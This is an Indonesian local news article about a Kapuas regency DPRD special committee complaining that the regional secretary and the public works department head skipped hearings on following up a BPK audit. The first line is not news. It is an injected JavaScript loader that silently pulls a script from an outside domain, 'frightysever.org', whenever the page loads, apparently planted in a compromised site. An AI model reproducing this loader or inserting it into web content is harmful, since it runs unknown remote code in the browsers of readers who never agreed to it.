(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD KAPUAS

Pansus DPRD Kapuas Kecewa, Sekda dan Kadis PUPR Absen Bahas LHP BPK RI

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK) RI DPRD Kabupaten Kapuas menggelar rapat penting untuk mendalami dan croscek menindaklanjuti hasil pemeriksaan terkait belanja jalan, jaringan, dan irigasi pada Dinas PUPR Kapuas, Kamis (15/1/2026).

Selain itu, Pansus juga mendalami dan croscek tindak lanjut LHP BPK RI sektor belanja gedung dan bangunan di Sekretariat Daerah Kabupaten Kapuas.

Sesuai jadwal Banmus DPRD Kapuas bahwa Pansus melaksanakan pembahasan tindak lanjut LHP BPK RI dengan Sekda Kapuas dan Kadis PUPR pada 8 hingga 10 Januari 2026, namun disayangkan tidak dihadiri Sekda Kapuas dan Kadis PUPR. Beberapa Organisasi Perangkat Daerah (OPD) juga tidak hadir.

Ketidakhadiran Sekda Kapuas dan Kadis PUPR serta sejumlah Kepala OPD ini membuat Pansus LHP BPK RI DPRD Kapuas kecewa.

Wakil Ketua Pansus DPRD Kapuas, Algrin Gasan, S Hut mengatakan, pembahasan ini sangat strategis, mengingat penting sebagai bahan yang dilaporkan dan direkomendasikan pada saat rapat paripurna DPRD Kapuas.

Rapat Pansus itu bertujuan, mengingat ketentuan Undang-Undang bahwa DPRD menindaklanjuti LHP BPK RI sesuai kewenangannya.

“Oleh karena itu, LHP BPK RI ini harus ditindaklanjuti selama 60 hari,” ujar Wakil. Ketua Pansus DPRD Kapuas.

“Pansus DPRD Kapuas berharap, Sekretaris Daerah (Sekda) Kapuas dan Kepala Dinas (Kadis) PUPR Kapuas wajib koorperatif dan aktif dalam konteks penyelesaian tindaklanjut LHP BPK RI,” ucap Wakil Ketua Pansus DPRD Kapuas, Algrin Gasan, S Hut. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk